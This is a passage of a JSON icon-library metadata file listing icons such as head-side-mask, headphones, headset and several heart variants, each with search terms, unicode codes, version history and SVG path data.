        "path": "M448 325.8l44 34.5c8.1 1.4 14.8 6.8 18 14.1L552.9 408c10.6 .4 19.5 7.6 22.2 17.4l39.1 30.6c.6 0 1.2-.1 1.8-.1c11.1 0 20.4 7.5 23.2 17.8h-3.9c6.2 8.5 6.4 20.4-.4 29c-8.2 10.4-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2S28.4-3.1 38.8 5.1L89.6 44.9C127 16.7 173.5 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v0 5.8zM0 224.2c0-38.7 9.8-75.1 27.1-106.9L341.8 365.3l-2.5 .3c-11 1.4-19.2 10.7-19.2 21.8c0 11.6 9 21.2 20.6 21.9l62 3.9 43 33.9C439.3 466.2 421.2 480 400 480H320v8c0 13.3-10.7 24-24 24H256v0H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zM616 360a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm-64-48a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40-24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "head-side-mask": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e063"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "breath",
        "coronavirus",
        "covid-19",
        "filter",
        "flu",
        "infection",
        "pandemic",
        "respirator",
        "virus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e063",
    "label": "Head Side Mask",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M32 224.2c0-22.2 3.2-43.6 9.2-63.9L262.2 321c-4 9.5-6.2 20-6.2 31V512H128c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C48.6 322.4 32 274.1 32 224.2zm248.3 70.4L53 129.3C88.7 53 166.2 0 256 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c5.4 6.7 8.6 14.8 9.4 23.2H336c-21.7 0-41.3 8.6-55.7 22.6zM336 304H534l0 0h10l-19.7 64H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H514.5l-9.8 32H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H494.8l-.9 2.8c-8.3 26.9-33.1 45.2-61.2 45.2H288V352c0-14 6-26.7 15.6-35.4c0 0 0 0 0 0c8.5-7.8 19.9-12.6 32.4-12.6zm48-80a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M32 224.2c0-22.2 3.2-43.6 9.2-63.9L262.2 321c-4 9.5-6.2 20-6.2 31V512H128c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C48.6 322.4 32 274.1 32 224.2zm248.3 70.4L53 129.3C88.7 53 166.2 0 256 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c5.4 6.7 8.6 14.8 9.4 23.2H336c-21.7 0-41.3 8.6-55.7 22.6zM336 304H534l0 0h10l-19.7 64H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H514.5l-9.8 32H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H494.8l-.9 2.8c-8.3 26.9-33.1 45.2-61.2 45.2H288V352c0-14 6-26.7 15.6-35.4c0 0 0 0 0 0c8.5-7.8 19.9-12.6 32.4-12.6zm48-80a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "head-side-virus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e064"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cold",
        "coronavirus",
        "covid-19",
        "flu",
        "infection",
        "pandemic",
        "sick"
      ]
    },
    "styles": ["solid"],
    "unicode": "e064",
    "label": "Head Side Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 224.2C0 100.6 100.2 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v64c0 35.3-28.7 64-64 64H320v32c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zM224 64c-8.8 0-16 7.2-16 16c0 33-39.9 49.5-63.2 26.2c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6C145.5 152.1 129 192 96 192c-8.8 0-16 7.2-16 16s7.2 16 16 16c33 0 49.5 39.9 26.2 63.2c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0C168.1 286.5 208 303 208 336c0 8.8 7.2 16 16 16s16-7.2 16-16c0-33 39.9-49.5 63.2-26.2c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6C302.5 263.9 319 224 352 224c8.8 0 16-7.2 16-16s-7.2-16-16-16c-33 0-49.5-39.9-26.2-63.2c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0C279.9 129.5 240 113 240 80c0-8.8-7.2-16-16-16zm-24 96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40 80a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 224.2C0 100.6 100.2 0 224 0h24c95.2 0 181.2 69.3 197.3 160.2c2.3 13 6.8 25.7 15.1 36l42 52.6c6.2 7.8 9.6 17.4 9.6 27.4c0 24.2-19.6 43.8-43.8 43.8H448v64c0 35.3-28.7 64-64 64H320v32c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V407.3c0-16.7-6.9-32.5-17.1-45.8C16.6 322.4 0 274.1 0 224.2zM224 64c-8.8 0-16 7.2-16 16c0 33-39.9 49.5-63.2 26.2c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6C145.5 152.1 129 192 96 192c-8.8 0-16 7.2-16 16s7.2 16 16 16c33 0 49.5 39.9 26.2 63.2c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0C168.1 286.5 208 303 208 336c0 8.8 7.2 16 16 16s16-7.2 16-16c0-33 39.9-49.5 63.2-26.2c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6C302.5 263.9 319 224 352 224c8.8 0 16-7.2 16-16s-7.2-16-16-16c-33 0-49.5-39.9-26.2-63.2c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0C279.9 129.5 240 113 240 80c0-8.8-7.2-16-16-16zm-24 96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm40 80a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"
      }
    },
    "free": ["solid"]
  },
  "heading": {
    "aliases": {
      "names": ["header"],
      "unicodes": {
        "secondary": ["10f1dc"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.9.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["format", "header", "text", "title"]
    },
    "styles": ["solid"],
    "unicode": "f1dc",
    "label": "Heading",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H80h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H112V208H336V96H320c-17.7 0-32-14.3-32-32s14.3-32 32-32h48 48c17.7 0 32 14.3 32 32s-14.3 32-32 32H400V240 416h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H368 320c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V272H112V416h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H80 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48V240 96H32C14.3 96 0 81.7 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H80h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H112V208H336V96H320c-17.7 0-32-14.3-32-32s14.3-32 32-32h48 48c17.7 0 32 14.3 32 32s-14.3 32-32 32H400V240 416h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H368 320c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V272H112V416h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H80 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48V240 96H32C14.3 96 0 81.7 0 64z"
      }
    },
    "free": ["solid"]
  },
  "headphones": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3a7"],
        "secondary": ["10f025"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "earbud",
        "headphone",
        "listen",
        "music",
        "sound",
        "speaker"
      ]
    },
    "styles": ["solid"],
    "unicode": "f025",
    "label": "Headphones",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 80C149.9 80 62.4 159.4 49.6 262c9.4-3.8 19.6-6 30.4-6c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48c-44.2 0-80-35.8-80-80V384 336 288C0 146.6 114.6 32 256 32s256 114.6 256 256v48 48 16c0 44.2-35.8 80-80 80c-26.5 0-48-21.5-48-48V304c0-26.5 21.5-48 48-48c10.8 0 21 2.1 30.4 6C449.6 159.4 362.1 80 256 80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 80C149.9 80 62.4 159.4 49.6 262c9.4-3.8 19.6-6 30.4-6c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48c-44.2 0-80-35.8-80-80V384 336 288C0 146.6 114.6 32 256 32s256 114.6 256 256v48 48 16c0 44.2-35.8 80-80 80c-26.5 0-48-21.5-48-48V304c0-26.5 21.5-48 48-48c10.8 0 21 2.1 30.4 6C449.6 159.4 362.1 80 256 80z"
      }
    },
    "free": ["solid"]
  },
  "headphones-simple": {
    "aliases": {
      "names": ["headphones-alt"],
      "unicodes": {
        "secondary": ["10f58f"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["audio", "listen", "music", "sound", "speaker"]
    },
    "styles": ["solid"],
    "unicode": "f58f",
    "label": "Headphones Simple",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 80C141.1 80 48 173.1 48 288V392c0 13.3-10.7 24-24 24s-24-10.7-24-24V288C0 146.6 114.6 32 256 32s256 114.6 256 256V392c0 13.3-10.7 24-24 24s-24-10.7-24-24V288c0-114.9-93.1-208-208-208zM80 352c0-35.3 28.7-64 64-64h16c17.7 0 32 14.3 32 32V448c0 17.7-14.3 32-32 32H144c-35.3 0-64-28.7-64-64V352zm288-64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H352c-17.7 0-32-14.3-32-32V320c0-17.7 14.3-32 32-32h16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 80C141.1 80 48 173.1 48 288V392c0 13.3-10.7 24-24 24s-24-10.7-24-24V288C0 146.6 114.6 32 256 32s256 114.6 256 256V392c0 13.3-10.7 24-24 24s-24-10.7-24-24V288c0-114.9-93.1-208-208-208zM80 352c0-35.3 28.7-64 64-64h16c17.7 0 32 14.3 32 32V448c0 17.7-14.3 32-32 32H144c-35.3 0-64-28.7-64-64V352zm288-64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H352c-17.7 0-32-14.3-32-32V320c0-17.7 14.3-32 32-32h16z"
      }
    },
    "free": ["solid"]
  },
  "headset": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f590"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "gamer",
        "gaming",
        "listen",
        "live chat",
        "microphone",
        "shot caller",
        "sound",
        "support",
        "telemarketer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f590",
    "label": "Headset",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48C141.1 48 48 141.1 48 256v40c0 13.3-10.7 24-24 24s-24-10.7-24-24V256C0 114.6 114.6 0 256 0S512 114.6 512 256V400.1c0 48.6-39.4 88-88.1 88L313.6 488c-8.3 14.3-23.8 24-41.6 24H240c-26.5 0-48-21.5-48-48s21.5-48 48-48h32c17.8 0 33.3 9.7 41.6 24l110.4 .1c22.1 0 40-17.9 40-40V256c0-114.9-93.1-208-208-208zM144 208h16c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H144c-35.3 0-64-28.7-64-64V272c0-35.3 28.7-64 64-64zm224 0c35.3 0 64 28.7 64 64v48c0 35.3-28.7 64-64 64H352c-17.7 0-32-14.3-32-32V240c0-17.7 14.3-32 32-32h16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48C141.1 48 48 141.1 48 256v40c0 13.3-10.7 24-24 24s-24-10.7-24-24V256C0 114.6 114.6 0 256 0S512 114.6 512 256V400.1c0 48.6-39.4 88-88.1 88L313.6 488c-8.3 14.3-23.8 24-41.6 24H240c-26.5 0-48-21.5-48-48s21.5-48 48-48h32c17.8 0 33.3 9.7 41.6 24l110.4 .1c22.1 0 40-17.9 40-40V256c0-114.9-93.1-208-208-208zM144 208h16c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H144c-35.3 0-64-28.7-64-64V272c0-35.3 28.7-64 64-64zm224 0c35.3 0 64 28.7 64 64v48c0 35.3-28.7 64-64 64H352c-17.7 0-32-14.3-32-32V240c0-17.7 14.3-32 32-32h16z"
      }
    },
    "free": ["solid"]
  },
  "heart": {
    "aliases": {
      "unicodes": {
        "composite": [
          "1f499",
          "1f49a",
          "1f49b",
          "1f49c",
          "1f5a4",
          "1f90d",
          "1f90e",
          "1f9e1",
          "2665",
          "2764",
          "f08a"
        ],
        "secondary": ["10f004"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "black",
        "black heart",
        "blue",
        "blue heart",
        "brown",
        "brown heart",
        "card",
        "evil",
        "favorite",
        "game",
        "green",
        "green heart",
        "heart",
        "heart suit",
        "like",
        "love",
        "orange",
        "orange heart",
        "purple",
        "purple heart",
        "red heart",
        "relationship",
        "valentine",
        "white",
        "white heart",
        "wicked",
        "yellow",
        "yellow heart"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f004",
    "label": "Heart",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9L464.4 300.4c30.4-28.3 47.6-68 47.6-109.5v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9L464.4 300.4c30.4-28.3 47.6-68 47.6-109.5v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M225.8 468.2l-2.5-2.3L48.1 303.2C17.4 274.7 0 234.7 0 192.8v-3.3c0-70.4 50-130.8 119.2-144C158.6 37.9 198.9 47 231 69.6c9 6.4 17.4 13.8 25 22.3c4.2-4.8 8.7-9.2 13.5-13.3c3.7-3.2 7.5-6.2 11.5-9c0 0 0 0 0 0C313.1 47 353.4 37.9 392.8 45.4C462 58.6 512 119.1 512 189.5v3.3c0 41.9-17.4 81.9-48.1 110.4L288.7 465.9l-2.5 2.3c-8.2 7.6-19 11.9-30.2 11.9s-22-4.2-30.2-11.9zM239.1 145c-.4-.3-.7-.7-1-1.1l-17.8-20c0 0-.1-.1-.1-.1c0 0 0 0 0 0c-23.1-25.9-58-37.7-92-31.2C81.6 101.5 48 142.1 48 189.5v3.3c0 28.5 11.9 55.8 32.8 75.2L256 430.7 431.2 268c20.9-19.4 32.8-46.7 32.8-75.2v-3.3c0-47.3-33.6-88-80.1-96.9c-34-6.5-69 5.4-92 31.2c0 0 0 0-.1 .1s0 0-.1 .1l-17.8 20c-.3 .4-.7 .7-1 1.1c-4.5 4.5-10.6 7-16.9 7s-12.4-2.5-16.9-7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M225.8 468.2l-2.5-2.3L48.1 303.2C17.4 274.7 0 234.7 0 192.8v-3.3c0-70.4 50-130.8 119.2-144C158.6 37.9 198.9 47 231 69.6c9 6.4 17.4 13.8 25 22.3c4.2-4.8 8.7-9.2 13.5-13.3c3.7-3.2 7.5-6.2 11.5-9c0 0 0 0 0 0C313.1 47 353.4 37.9 392.8 45.4C462 58.6 512 119.1 512 189.5v3.3c0 41.9-17.4 81.9-48.1 110.4L288.7 465.9l-2.5 2.3c-8.2 7.6-19 11.9-30.2 11.9s-22-4.2-30.2-11.9zM239.1 145c-.4-.3-.7-.7-1-1.1l-17.8-20c0 0-.1-.1-.1-.1c0 0 0 0 0 0c-23.1-25.9-58-37.7-92-31.2C81.6 101.5 48 142.1 48 189.5v3.3c0 28.5 11.9 55.8 32.8 75.2L256 430.7 431.2 268c20.9-19.4 32.8-46.7 32.8-75.2v-3.3c0-47.3-33.6-88-80.1-96.9c-34-6.5-69 5.4-92 31.2c0 0 0 0-.1 .1s0 0-.1 .1l-17.8 20c-.3 .4-.7 .7-1 1.1c-4.5 4.5-10.6 7-16.9 7s-12.4-2.5-16.9-7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "heart-circle-bolt": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cardiogram", "ekg", "electric", "heart", "love", "pacemaker"]
    },
    "styles": ["solid"],
    "unicode": "e4fc",
    "label": "Heart Circle Bolt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm47.9-225c4.3 3.7 5.4 9.9 2.6 14.9L452.4 356H488c5.2 0 9.8 3.3 11.4 8.2s-.1 10.3-4.2 13.4l-96 72c-4.5 3.4-10.8 3.2-15.1-.6s-5.4-9.9-2.6-14.9L411.6 380H376c-5.2 0-9.8-3.3-11.4-8.2s.1-10.3 4.2-13.4l96-72c4.5-3.4 10.8-3.2 15.1 .6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm47.9-225c4.3 3.7 5.4 9.9 2.6 14.9L452.4 356H488c5.2 0 9.8 3.3 11.4 8.2s-.1 10.3-4.2 13.4l-96 72c-4.5 3.4-10.8 3.2-15.1-.6s-5.4-9.9-2.6-14.9L411.6 380H376c-5.2 0-9.8-3.3-11.4-8.2s.1-10.3 4.2-13.4l96-72c4.5-3.4 10.8-3.2 15.1 .6z"
      }
    },
    "free": ["solid"]
  },
  "heart-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "love", "not affected", "ok", "okay"]
    },
    "styles": ["solid"],
    "unicode": "e4fd",
    "label": "Heart Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L416 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L416 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "heart-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "love"]
    },
    "styles": ["solid"],
    "unicode": "e4fe",
    "label": "Heart Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "heart-circle-minus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "love"]
    },
    "styles": ["solid"],
    "unicode": "e4ff",
    "label": "Heart Circle Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-64 0c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16H496c8.8 0 16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M47.6 300.4L228.3 469.1c7.5 7 17.4 10.9 27.7 10.9s20.2-3.9 27.7-10.9l2.6-2.4C267.2 438.6 256 404.6 256 368c0-97.2 78.8-176 176-176c28.3 0 55 6.7 78.7 18.5c.9-6.5 1.3-13 1.3-19.6v-5.8c0-69.9-50.5-129.5-119.4-141C347 36.5 300.6 51.4 268 84L256 96 244 84c-32.6-32.6-79-47.5-124.6-39.9C50.5 55.6 0 115.2 0 185.1v5.8c0 41.5 17.2 81.2 47.6 109.5zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-64 0c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16H496c8.8 0 16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "heart-circle-plus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "love"]
    },
    "styles": ["solid"],
    "unicode": "e500",
    "label": "Heart Circle Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
